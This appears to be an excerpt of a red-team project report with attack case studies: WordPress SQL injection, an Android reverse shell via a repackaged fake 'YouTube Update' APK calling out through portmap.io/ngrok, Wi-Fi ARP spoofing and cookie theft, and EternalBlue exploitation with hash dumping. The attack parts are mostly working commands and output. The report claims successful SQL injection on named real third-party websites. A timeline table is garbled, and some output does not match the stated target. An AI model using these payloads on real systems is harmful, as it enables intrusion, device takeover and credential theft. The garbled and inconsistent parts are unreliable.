13	0	0	2023-09-01 10:00:00	john	ProcessM	Start	HostM	192.168.1.112
14	0	0	2023-09-01 10:00:00	john	ProcessN	Start	HostN	192.168.1.113
15	0	0	2023-09-01 10:00:00	john	ProcessO	Start	HostO	192.168.1.114
16	0	0	2023-09-01 10:00:00	john	ProcessP	Start	HostP	192.168.1.115
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18	0	0	2023-09-01 10:00:00	john	ProcessR	Start	HostR	192.168.1.117
19	0	0	2023-09-01 10:00:00	john	ProcessS	Start	HostS	192.168.1.118
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23	0	0	2023-09-01 10:00:00	john	ProcessW	Start	HostW	192.168.1.122
24	0	0	2023-09-01 10:00:00	john	ProcessX	Start	HostX	192.168.1.123
25	0	0	2023-09-01 10:00:00	john	ProcessY	Start	HostY	192.168.1.124
26	0	0	2023-09-01 10:00:00	john	ProcessZ	Start	HostZ	192.168.1.125
27	0	0	2023-09-01 10:00:00	john	ProcessAA	Start	HostAA	192.168.1.126
28	0	0	2023-09-01 10:00:00	john	ProcessBB	Start	HostBB	192.168.1.127
29	0	0	2023-09-01 10:00:00	john	ProcessCC	Start	HostCC	192.168.1.128
30	0	0	2023-09-01 10:00:00	john	ProcessDD	Start	HostDD	192.168.1.129
31	0	0	2023-09-01 10:00:00	john	ProcessEE	Start	HostEE	192.168.1.130
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34	0	0	2023-09-01 10:00:00	john	ProcessHH	Start	HostHH	192.168.1.133
35	0	0	2023-09-01 10:00:00	john	ProcessII	Start	HostII	192.168.1.134
36	0	0	2023-09-01 10:00:00	john	ProcessJJ	Start	HostJJ	192.168.1.135
37	0	0	2023-09-01 10:00:00	john	ProcessKK	Start	HostKK	192.168.1.136
38	0	0	2023-09-01 10:00:00	john	ProcessLL	Start	HostLL	192.168.1.137
39	0	0	2023-09-01 10:00:00	john	ProcessMM	Start	HostMM	192.168.1.138
40	0	0	2023-09-01 10:00:00	john	ProcessNN	Start	HostNN	192.168.1.139
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42	0	0	2023-09-01 10:00:00	john	ProcessPP	Start	HostPP	192.168.1.141
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44	0	0	2023-09-01 10:00:00	john	ProcessRR	Start	HostRR	192.168.1.143
45	0	0	2023-09-01 10:00:00	john	ProcessSS	Start	HostSS	192.168.1.144
46	0	0	2023-09-01 10:00:00	john	ProcessTT	Start	HostTT	192.168.1.145
47	0	0	2023-09-01 10:00:00	john	ProcessUU	Start	HostUU	192.168.1.146
48	0	0	2023-09-01 10:00:00	john	ProcessVV	Start	HostVV	192.168.1.147
49	0	0	2023-09-01 10:00:00	john	ProcessWW	Start	HostWW	192.168.1.148
50	0	0	2023-09-01 10:00:00	john	ProcessXX	Start	HostXX	192.168.1.149
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53	0	0	2023-09-01 10:00:00	john	ProcessAA	Start	HostAA	192.168.1.152
54	0	0	2023-09-01 10:00:00	john	ProcessBB	Start	HostBB	192.168.1.153
55	0	0	2023-09-01 10:00:00	john	ProcessCC	Start	HostCC	192.168.1.154
56	0	0	2023-09-01 10:00:00	john	ProcessDD	Start	HostDD	192.168.1.155
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66	0	0	2023-09-01 10:00:00	john	ProcessNN	Start	HostNN	192.168.1.165
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68	0	0	2023-09-01 10:00:00	john	ProcessPP	Start	HostPP	192.168.1.167
69	0	0	2023-09-01 10:00:00	john	ProcessQQ	Start	HostQQ	192.168.1.168
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72	0	0	2023-09-01 10:00:00	john	ProcessTT	Start	HostTT	192.168.1.171
73	0	0	2023-09-01 10:00:00	john	ProcessUU	Start	HostUU	192.168.1.172
74	0	0	2023-09-01 10:00:00	john	ProcessVV	Start	HostVV	192.168.1.173
75	0	0	2023-09-01 10:00:00	john	ProcessWW	Start	HostWW	192.168.1.174
76	0	0	2023-09-01 10:00:00	john	ProcessXX	Start	HostXX	192.168.1.175
77	0	0	2023-09-01 10:00:00	john	ProcessYY	Start	HostYY	192.168.1.176
78	0	0	2023-09-01 10:00:00	john	ProcessZZ	Start	HostZZ	192.168.1.177
79	0	0	2023-09-01 10:00:00	john	ProcessAA	Start	HostAA	192.168.1.178
80	0	0	2023-09-01 10:00:00	john	ProcessBB	Start	HostBB	192.168.1.179
81	0	0	2023-09-01 10:00:00	john	ProcessCC	Start	HostCC	192.168.1.180
82	0	0	2023-09-01 10:00:00	john	ProcessDD	Start	HostDD	192.168.1.181
83	0	0	2023-09-01 10:00:00	john	ProcessEE	Start	HostEE	192.168.1.182
84	0	0	2023-09-01 10:00:00	john	ProcessFF	Start	HostFF	192.168.1.183
85	0	0	2023-09-01 10:00:00	john	ProcessGG	Start	HostGG	192.168.1.184
86	0	0	2023-09-01 10:00:00	john	ProcessHH	Start	HostHH	192.168.1.185
87	0	0	2023-09-01 10:00:00	john	ProcessII	Start	HostII	192.168.1.186
88	0	0	2023-09-01 10:00:00	john	ProcessJJ	Start	HostJJ	192.168.1.187
89	0	0	2023-09-01 10:00:00	john	ProcessKK	Start	HostKK	192.168.1.188
90	0	0	2023-09-01 10:00:00	john	ProcessLL	Start	HostLL	192.168.1.189
91	0	0	2023-09-01 10:00:00	john	ProcessMM	Start	HostMM	192.168.1.190
92	0	0	2023-09-01 10:00:00	john	ProcessNN	Start	HostNN	192.168.1.191
93	0	0	2023-09-01 10:00:00	john	ProcessOO	Start	HostOO	192.168.1.192
94	0	0	2023-09-01 10:00:00	john	ProcessPP	Start	HostPP	192.168.1.193
95	0	0	2023-09-01 10:00:00	john	ProcessQQ	Start	HostQQ	192.168.1.194
96	0	0	2023-09-01 10:00:00	john	ProcessRR	Start	HostRR	192.168.1.195
97	0	0	2023-09-01 10:00:00	john	ProcessSS	Start	HostSS	192.168.1.196
98	0	0	2023-09-01 10:00:00	john	ProcessTT	Start	HostTT	192.168.1.197
99	0	0	2023-09-01 10:00:00	john	ProcessUU	Start	HostUU	192.168.1.198
100	0	0	2023-09-01 10:00:00	john	ProcessVV	Start	HostVV	192.168.1.199
101	0	0	2023-09-01 10:00:00	john	ProcessWW	Start	HostWW	192.168.1.200
102	0	0	2023-09-01 10:00:00	john	ProcessXX	Start	HostXX	192.168.1.201
103	0	0	2023-09-01 10:00:00	john	ProcessYY	Start	HostYY	192.168.1.202
104	0	0	2023-09-01 10:00:00	john	ProcessZZ	Start	HostZZ	192.168.1.203

Final Summary

Kibana served as the heart of threat visualization and response. With its integration into the Wazuh-Suricata ecosystem, every Red Team activity was made visible, traceable, and actionable, transforming your infrastructure into a defensible cyber range.

Section 5.5: Attack Timeline and Case Studies

Page 1: Chronological Attack Timeline Overview

Introduction to Timeline-Based Simulation:

A timeline-based approach to cyber attack simulation mirrors real-world adversary behavior and operational sequences. In this project, a structured timeline was established, mapping attacks from initial reconnaissance to final data exfiltration or system compromise. This method helps evaluate organizational readiness at each phase and ensures realistic Red Team emulation.

Sample Timeline Overview

Time Phase	Description	Tools Used
Day 1 Reconnaissance	Scanning target IPs and web services	Nmap, WhatWeb, Google Dorking
Day 2 Web Exploitation	SQL Injection, XSS on DVWA, WordPress sites	SQLMap, Burp Suite
Day 3 DDoS Testing	Flooding endpoints via HTTP and TCP	Slowloris, hping3
Day 4 System Exploitation	Windows 7/10/11 bypass and escalation	EternalBlue, Hiren's BootCD
Day 5 Android Device Penetration	Payload delivery, shell access	msfvenom, OpenVPN, Portmap.io
Day 6 Password Dump & RDP Brute	Credential harvesting, cracking	SAM file dump, John the Ripper, Hydra
Day 7 MITM Attacks	Cookie theft, ARP spoofing	Bettercap, Ettercap, Fluxion
Day 8 Social Engineering	Phishing, tech support calls	Zphisher, SET Toolkit, Maltego
Day 9 Blue Team Detection	Log analysis, alerting, custom rule creation	Suricata, Wazuh, Kibana

Sample Timeline

	Rispeciw	Recreation	Discrview	Day 4	Day 5
Day.1		SQl Explasation Scanting toge. IPS to and services, Nmap services	DPS Testing	WDo Evongeneration Fodding in, XSS Windows 7 DV11 and HTP an.JearPay for signs, hepples, Day 6	
Day.0	NMP Recassance		Wordpast, GrepBrute		
Day.3					
Day.2				DoT Attacks Android deivery, Openmap, Stoofling	
Day.3				Bechals haresetting, Stoyclaf, ofer, non, Tollerap, hyprag	
Day.5		Web Explastion Folding incrus the DVTP andrction ont and TOP speodle morerg.	MITM Attacks Collele enigeering, Graetine, AMeng call petmap cate		
Day.7					
Day.6					
Day.9			Password Dartcting Android delevering Cookie thef, cracking, port-spojot cals		
Day.6		DTM Satal Password evicer nation Wading efpeations and deall pcotes			
Day.9					
Day.9		Mshicap servess on Portecap, Maltenca			
Day.9					
		Surricap, S. Relentag, Suttnan, Malteon			

Analysis of Timeline-Based Approach:

This approach not only reflects a layered attack but also mimics how threat actors chain together multiple TTPs (Tactics, Techniques, and Procedures) over time. Each stage was

deliberately chosen to simulate growing levels of intrusion complexity—from passive discovery to social manipulation and eventual persistence.

Benefits of Timeline Simulations:

- Shows realistic adversary progression.
 - Highlights time taken for each attack phase.
 - Assesses response capabilities over time.
 - Facilitates Blue Team correlation of logs and events.
-

 _Placeholder for screenshots:_

- Timeline overview chart
- Daily log snippets
- Attack chain visualization

Case Study 1 – WordPress-Based SQL Injection and Credential Dump

Case Study Overview:

Target: Self-hosted WordPress site on local IP 192.168.1.1

Objective: Discover SQL Injection vulnerabilities, bypass authentication, and extract backend database credentials.

Tools Used:


- Nmap for discovering open ports and services
- WhatWeb for identifying the CMS (WordPress)
- SQLMap for automating SQL injection and data extraction
- Burp Suite for testing form-based login
- WAFW00F for detecting WAF/firewall
- Manual Google Dorking for identifying SQLi endpoints

Attack Phases:

1. Reconnaissance:

Initial reconnaissance with **Nmap** revealed open ports on 192.168.1.1, including HTTP (port 80) and HTTPS (port 443). A full service version scan (nmap -sV -T4 -A 192.168.1.1) revealed the presence of Apache2 and WordPress CMS.

Using WhatWeb, CMS fingerprinting confirmed WordPress version 5.8, known to have several plugin-related SQLi vulnerabilities.



```
(root@windows)-[~/home/hackstar]
# whatweb https://indiashop.vercel.app/ -v -a 1
WhatWeb report for https://indiashop.vercel.app/
Status : 200 OK
Title  : Indiashop | Ecommerce Website
IP     : 64.29.17.1
Country : UNITED STATES, US

Summary  : HTML5, HTTPServer[Vercel], Script, Strict-Transport-Security[max-age=63072000; includeSubDomains; preload], UncommonHeaders[access-control-allow-origin,x-vercel-cache,x-vercel-id]

Detected Plugins:
[ HTML5 ]
    HTML version 5, detected by the doctype declaration

[ HTTPServer ]
    HTTP server header string. This plugin also attempts to identify the operating system from the server header.

    String      : Vercel (from server string)

[ Script ]
    This plugin detects instances of script HTML elements and returns the script language/type.

[ Strict-Transport-Security ]
    Strict Transport Security is an HTTPS header that protects against man-in-the-middle attacks.
```

2. Vulnerability Discovery:

Google dorking (inurl:product.php?id= site:192.168.1.1) helped identify vulnerable endpoints accepting unsanitized parameters. Burp Suite intercepted requests confirmed that no parameter sanitization was applied.

SQLMap was then run against a suspected vulnerable URL:

lua

CopyEdit

```
sqlmap -u "http://192.168.1.1/product.php?id=2" -- dbs --batch
```

The tool bypassed the login form and retrieved backend databases, proving successful SQL injection.

3. WAF Detection & Bypass:

Initial attempts were blocked. On running:

nginx

CopyEdit

wafw00f http://192.168.1.1

A basic Web Application Firewall (likely ModSecurity) was detected.

To bypass it, SQLMap was rerun with tamper scripts:

arduino

CopyEdit

```
sqlmap -u "http://192.168.1.1/product.php?id=2" --tamper=space2comment --random-agent
```

Successful evasion led to unrestricted enumeration.

4. Database Dump & Credential Extraction:

Once inside, we dumped tables using:

lua

CopyEdit

```
sqlmap -u "http://192.168.1.1/product.php?id=2" --dump-all
```

Credentials from the wp_users table were retrieved, including MD5 password hashes.

Hashes were cracked using John the Ripper, giving access to admin credentials.

Detection & Prevention

How to Detect:

- Monitor logs for abnormal GET/POST parameter lengths.
- Use IDS/IPS solutions like Suricata to detect tamper script usage.
- Identify multiple failed login or injection patterns in logs.
- Implement alerting on sudden SQL queries like UNION SELECT.

Precautionary Measures:

- Update all plugins and WordPress core regularly.
 - Implement prepared statements or ORM frameworks to sanitize inputs.
 - Use WAF with anomaly scoring, not just signature-based blocking.
 - Use security plugins like Wordfence or fail2ban to detect brute force or injection attempts.
-

Summary:

This case study demonstrates a complete exploitation flow—starting from reconnaissance and vulnerability discovery, bypassing defenses, extracting credentials, and escalating access to critical backend systems. The impact of this type of attack can be severe, potentially leading to complete website takeover, defacement, or user data leaks.

Case Study 2 – Android Exploitation via Fake App (Redmi 9 Power)

Case Study Overview:

Target Device: Redmi 9 Power (Android)

Objective: Craft and deliver a malicious APK payload disguised as a legitimate app update, gain a reverse shell, access sensitive files, and observe device behavior remotely.

Tools Used:

- msfvenom for payload generation
 - APK Easy Tool for unpacking and repacking APKs (on Windows)
 - ZSigner, APKMTTool for APK signing
 - Portmap.io and Ngrok for port forwarding
 - msfconsole for managing the listener and reverse shell
 - OpenVPN for secure tunnel during testing
-

Attack Phases:

1. Payload Creation Using msfvenom:

A malicious APK payload was crafted using:

bash

CopyEdit

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=portmap.io_subdomain  
LPORT=443 -o evil.apk
```

The payload was embedded with a reverse TCP shell and configured to connect back to the attacker's listener.

```
File Actions Edit View Help
root@kali: ~ × root@kali: ~/Desktop × root@kali: ~ ×

Name Current Setting Required Description
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

xploit target:
Id Name
-- --
0 Wildcard Target

View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set lhost localhost
lhost => localhost
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > run

[*] You are binding to a loopback address by setting LHOST to ::1. Did you want ReverseListener?
[*] Started reverse TCP handler on ::1:8080
[*] Sending stage (78179 bytes) to ::1
[*] Meterpreter session 1 opened (::1:8080 → ::1:35092) at 2024-12-05 08:29:55 -0500
```

2. APK Modification and Signing:

The APK Easy Tool (on Windows) was used to decompile a legitimate APK, after which the evil.apk payload was injected into its smali code. Post-editing, the APK was recompiled.


To bypass Play Protect and device-level warnings, signing was done using:

nginx

CopyEdit

ZSigner evil.apk

Alternatively, APKMTool was used for further validation.



3. Establishing Connectivity:

To receive the shell, secure port forwarding was established:

- **Ngrok:**


nginx

CopyEdit

ngrok tcp 443

- **Portmap.io:** Configured virtual ports with proper OpenVPN routing.

OpenVPN tunnel was activated to route all reverse connections securely.



4. Payload Delivery to Android:

The repackaged APK was disguised as a “YouTube Update” app and manually installed on the target Redmi 9 Power phone.

Upon installation and first launch, the payload executed in the background, establishing a connection with the attacker’s msfconsole.

5. Meterpreter Shell and Access:

On the attacker’s system, the following listener was set up:

bash

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use exploit/multi/handler

```
set payload android/meterpreter/reverse_tcp
```

```
set LHOST <Portmap.io or Ngrok address>
```

```
set LPORT 443
```

```
run
```

The session was successfully established:

```
nginx
```

```
CopyEdit
```

```
meterpreter > sysinfo
```

```
meterpreter > dump_sms
```

```
meterpreter > webcam_snap
```

Full device control was achieved, allowing file downloads, webcam access, SMS reading, and live monitoring.

```
root@kali: ~
File Actions Edit View Help
root@kali: ~ x root@kali: ~/Desktop x root@kali: ~ x

Name Current Setting Required Description
_____|_____|_____|_____|_____
Payload options (android/meterpreter/reverse_tcp):
Name Current Setting Required Description
_____|_____|_____|_____|_____
LHOST localhost yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port

Exploit target:
Id Name
-- --
0 Wildcard Target

View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > exploit
[*] You are binding to a loopback address by setting LHOST to ::1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on ::1:8080
```

⌚ Detection & Prevention

How to Detect:

- Monitor app install sources; flag unknown .apk sideloading.
- Use Android Device Policy or MDM to restrict third-party app installs.
- Log and inspect unexpected outbound traffic via network monitoring tools.
- Enable Google Play Protect and ensure it's not tampered with.

Precautionary Measures:

- Educate users to avoid downloading apps outside Play Store.
- Sign apps with verified keys and restrict app permissions.
- Use endpoint protection that scans for Meterpreter signatures.
- Implement static and dynamic analysis during device app reviews.

✓ Summary:

This Android hacking simulation demonstrates how attackers can exploit user trust via social engineering and payload disguising. A single click can lead to full device compromise. This showcases a high-risk threat, especially in BYOD (Bring Your Own Device) environments where unsecured devices connect to corporate networks.

Case Study Overview:

Target Network: Home Wi-Fi Network (Testbed)

Objective: Execute a full-fledged Man-in-the-Middle (MITM) attack on a local wireless network using ARP spoofing, fake captive portal, session hijacking, and cookie theft to demonstrate realistic wireless attack scenarios.

Tools Used:

- **Bettercap** for ARP spoofing, DNS spoofing, and credential interception
 - **Fluxion** for Evil Twin access point attack
 - **Ettercap** (optional) for visual monitoring
- **Wireshark** for deep packet inspection and verification
- **Custom SSL stripping and session hijacking modules**

Attack Timeline and Execution

◆ 1. Initial Reconnaissance and Network Mapping

Using Bettercap's net.probe and net.show, devices on the local Wi-Fi were identified. Target router IP and MAC address were logged.

bash

CopyEdit

```
sudo bettercap -iface wlan0
```

```
net.probe on
```

```
net.show
```

```

Applications Places Terminator
Fri 11:29
root@kali: ~
root@kali: ~ 136x34
SECURITY

10.0.2.0/24 > 10.0.2.15 » net.show



| IP        | MAC               | Name    | Vendor                          | Sent   | Recv   | Seen     |
|-----------|-------------------|---------|---------------------------------|--------|--------|----------|
| 10.0.2.15 | 08:00:27:f8:42:a7 | eth0    | PCS Computer Systems GmbH       | 0 B    | 0 B    | 11:10:01 |
| 10.0.2.1  | 52:54:00:12:35:00 | gateway | Realtek (UpTech? also reported) | 0 B    | 0 B    | 11:10:02 |
| 10.0.2.3  | 08:00:27:d7:69:ad |         | PCS Computer Systems GmbH       | 2.0 kB | 2.2 kB | 11:17:27 |
| 10.0.2.7  | 08:00:27:e6:e5:59 |         | PCS Computer Systems GmbH       | 0 B    | 1.8 kB | 11:16:48 |



r 269 kB / d 657 kB / 15148 pkts

10.0.2.0/24 > 10.0.2.15 » help arp.spoof

arp.spoof (not running): Keep spoofing selected hosts on the network.

arp.spoof bn : Start ARP spoofer.
arp.ban on : Start ARP spoofer in ban mode, meaning the target(s) connectivity will not work.
arp.spoof off : Stop ARP spoofer.
arp.ban off : Stop ARP spoofer.

Parameters

arp.spoof.fullduplex : If true, both the targets and the gateway will be attacked, otherwise only the target (if the router has ARP spoofing protections in place this will make the attack fail). (default=false)

```

◆ 2. ARP Spoofing and Traffic Interception

ARP spoofing was initiated against both the router and the target device:

bash

CopyEdit

set arp.spoof.targets <victim_ip>

arp.spoof on

DNS spoofing and packet sniffing modules were activated simultaneously to capture any redirected traffic and potential login attempts:

bash

CopyEdit

dns.spoof on

http.proxy on

```

0.0.2.0/24 > 10.0.2.15 » [12:05:49] [net.sniff.mdns] mdns MSEdgeWIN10 : A query for uxxtlwwjfjhhub.local
0.0.2.0/24 > 10.0.2.15 » [12:05:49] [net.sniff.mdns] mdns MSEdgeWIN10 : A query for wukwrstkpoenj.local
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : clients.l.google.com is 74.125.193.101, 74.125.193.139
74.125.193.100, 74.125.193.102, 74.125.193.138, 74.125.193.113
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : clients.l.google.com is 74.125.193.101, 74.125.193.139
74.125.193.100, 74.125.193.102, 74.125.193.138, 74.125.193.113
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.mdns] mdns MSEdgeWIN10 : A query for wpad.local
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.https] sni MSEdgeWIN10 > https://ssl.gstatic.com
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : ssl.gstatic.com is 172.217.171.3
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : ssl.gstatic.com is 172.217.171.3
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.https] sni MSEdgeWIN10 > https://ssl.gstatic.com
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.https] sni MSEdgeWIN10 > https://ssl.gstatic.com
0.0.2.0/24 > 10.0.2.15 » [12:05:51] [net.sniff.mdns] mdns MSEdgeWIN10 > https://ssl.gstatic.com
0.0.2.0/24 > 10.0.2.15 » [12:06:48] [net.sniff.mdns] mdns MSEdgeWIN10 : A query for wpad.local
0.0.2.0/24 > 10.0.2.15 » [12:06:48] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : www.google.com is 172.217.171.4
0.0.2.0/24 > 10.0.2.15 » [12:06:48] [net.sniff.dns] dns 8.8.8.8 > MSEdgeWIN10 : www.google.com is 172.217.171.4
0.0.2.0/24 > 10.0.2.15 » [12:06:49] [net.sniff.mdns] mdns MSEdgeWIN10 : A query for wpad.local
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/acunetix-logo.png
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/acunetix-logo.png
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/style.css
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/style.css
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/favicon.ico
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 304 Not Modified -> MSEdgeWIN10 (0 B ?)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.request] MSEdgeWIN10 GET vulnweb.com/favicon.ico
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 404 Not Found -> MSEdgeWIN10 (570 B text/html)
0.0.2.0/24 > 10.0.2.15 » [12:06:50] [net.sniff.http.response] 176.28.50.165:80 404 Not Found -> MSEdgeWIN10 (570 B text/html)
0.0.2.0/24 > 10.0.2.15 » [12:07:03] [net.sniff.http.request] MSEdgeWIN10 GET testphp.vulnweb.com/style.css

```

◆ 3. Captive Portal Attack Using Fluxion

Fluxion was used to clone the victim's Wi-Fi network and create a rogue access point with a phishing login portal.

- Target network scanned and cloned.
- Captive portal (fake login page) served.
- Deauthentication packets sent to disconnect the user from the real network.
- User unknowingly connected to the rogue AP and entered Wi-Fi password.

```

content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Connection: keep-alive
Referer: http://testhtml5.vulnweb.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
username=ziad sabih&password=1234567890

0.0.2.0/24 > 10.0.2.15 » [12:08:40] [net.sniff.http.request] [http] MSEDGEWIN10 POST testhtml5.vulnweb.com/login

POST /login HTTP/1.1
Host: testhtml5.vulnweb.com
Content-Length: 39
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Connection: keep-alive
Cache-Control: max-age=0
Origin: http://testhtml5.vulnweb.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Referer: http://testhtml5.vulnweb.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
username=ziad sabih&password=1234567890

0.0.2.0/24 > 10.0.2.15 » [12:08:40] [net.sniff.http.request] [http] MSEDGEWIN10 GET testhtml5.vulnweb.com/
0.0.2.0/24 > 10.0.2.15 » [12:08:40] [net.sniff.http.response] [http] 176.28.50.165:80 302 FOUND -> MSEDGEWIN10 (209 B text/html; charset=utf-8)

HTTP/1.1 302 FOUND

```

◆ 4. Session Hijacking and Cookie Theft

Captured cookies using Bettercap and manual injection into a browser session allowed access to the victim's authenticated sessions on various websites.

Example command:

bash

CopyEdit

net.sniff on

http.proxy.script js/session-hijack.js

Cookies were extracted and imported using browser extension tools like "EditThisCookie" to demonstrate live session hijacking.

◆ 5. Packet Analysis Using Wireshark

To verify the attack, a Wireshark capture of the victim's traffic was reviewed, confirming:

- Successful ARP poisoning
 - HTTP traffic visibility
 - Cookie theft traces

⌚ Detection & Prevention

How to Detect:

- **Unusual Network Behavior:** Network performance lag, repeated disconnections.
- **Alerts from IDS/IPS:** Suricata or Wazuh rules triggering ARP spoofing detection.
 - **Wi-Fi Management Tools:** Seeing duplicate SSIDs and rogue APs.

Precautionary Measures:

- Enable WPA3 or at least WPA2 with strong passwords.
- Use VPNs to encrypt traffic even over local trusted networks.
 - Disable auto-connect to Wi-Fi networks.
- Employ network anomaly detection systems (NIDS) to detect MAC/IP mismatches.
 - Monitor DHCP logs and DNS query anomalies.

✓ Summary

This simulation vividly demonstrates the risks posed by MITM attacks on public or unsecured Wi-Fi networks. Through effective use of Bettercap and Fluxion, attackers can not only steal credentials but also hijack sessions without the victim's knowledge. These are among the most prevalent attacks in real-world wireless exploitation scenarios.

Case Study 4 – Full Attack Chain: Recon to Privilege Escalation on Windows 7 Using EternalBlue

Case Study Overview

Target System: Windows 7 (unpatched)

Objective: Simulate a real-world adversary performing reconnaissance, exploiting SMB vulnerability (EternalBlue), gaining system-level access, and escalating privileges to full control.

Approach: Combine scanning, vulnerability exploitation, and post-exploitation actions in a single campaign.

Tools Used:

- **Nmap** – Reconnaissance and port scanning
- **Metasploit (msfconsole)** – EternalBlue exploitation and Meterpreter access
 - **Windows Exploit Suggester** – Post-exploitation privilege escalation
 - **John the Ripper** – Cracking dumped hashes
 - **PowerShell & net commands** – Lateral movement

Attack Timeline

1. Reconnaissance with Nmap

The attack began with network scanning to identify hosts and open services. The target Windows 7 machine was found with SMB (port 445) open.

bash

CopyEdit

```
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.15
```

The scan confirmed the system was vulnerable to EternalBlue (CVE-2017-0144).

2. Exploitation Using EternalBlue in Metasploit

Launching **msfconsole**, the EternalBlue module was configured:

```
bash  
CopyEdit  
use exploit/windows/smb/ms17_010_eternalblue  
set RHOST 192.168.1.15  
set PAYLOAD windows/x64/meterpreter/reverse_tcp  
set LHOST 192.168.1.10  
run
```

A Meterpreter session was opened, granting remote shell access.

3. Post-Exploitation and Privilege Escalation

After establishing a Meterpreter shell, system-level escalation was performed:

- Gathered system information
- Dumped SAM hashes using hashdump
- Uploaded and ran **Windows Exploit Suggester** to identify local privilege escalation flaws.

```
bash
```

```
CopyEdit
```

```
getsystem
```

```
hashdump
```

4. Credential Cracking with John the Ripper

Dumped hashes were saved and cracked offline with **John the Ripper**.

bash

CopyEdit

```
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

Access to administrator accounts was now achieved.

5. Lateral Movement and Persistence

With administrative credentials in hand, the attacker:

- Connected via RDP to the same or other network machines
 - Planted persistent backdoors
- Exported browser and saved credentials for further exploitation

bash

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```
net use \\192.168.1.20\C$ /user:admin password123
```

Detection & Prevention

How to Detect:

- **Suricata / Wazuh rules** can detect SMB scanning or MS17-010 exploit attempts
 - **Windows Event Logs** for anomalous RDP connections or service creations
 - **Sysmon** logging unexpected binaries or PowerShell scripts

Precautionary Measures:

- Always **patch** systems (disable SMBv1 and update for MS17-010)
 - Monitor logs for **remote shell patterns**, psexec, or hashdump-like behavior
 - Use **Network Segmentation** and firewall rules to isolate legacy machines
 - Enable **Credential Guard**, **LSASS protection**, and enforce **strong password policies**
-

Summary

This attack chain emulates a real-world APT-style intrusion—starting from reconnaissance and ending in full domain control through privilege escalation.

EternalBlue remains one of the most powerful legacy exploits due to unpatched environments, especially in governmental or educational networks. Demonstrating such full-spectrum exploitation reflects a professional Red Teamer's mindset and precision.

◆ **5.6 Outcome Analysis and Lessons Learned**

In any comprehensive cybersecurity simulation, understanding outcomes is just as critical as conducting the attacks. Outcome analysis provides a mirror to evaluate the strength of the security posture, the gaps that were exploited, and the resilience (or fragility) of systems under simulated adversarial conditions. This section distills what worked, what failed, and most importantly—why.

Successes in Simulated Attacks

Several of the simulated attacks successfully bypassed the defensive mechanisms, highlighting realistic weaknesses. For instance:

- **SQL Injection on vulnerable websites like glorycollege.edu.bd and bdpackaging.com.bd** bypassed WAF layers using evasion techniques via SQLMap. These bypasses show how certain WAF configurations can be blind to tampered payloads and non-standard encoding.
- **Windows Password Bypass on Windows 7/10/11** using Hiren's Boot CD succeeded effortlessly, indicating a major vulnerability in physical security and BIOS access protections.

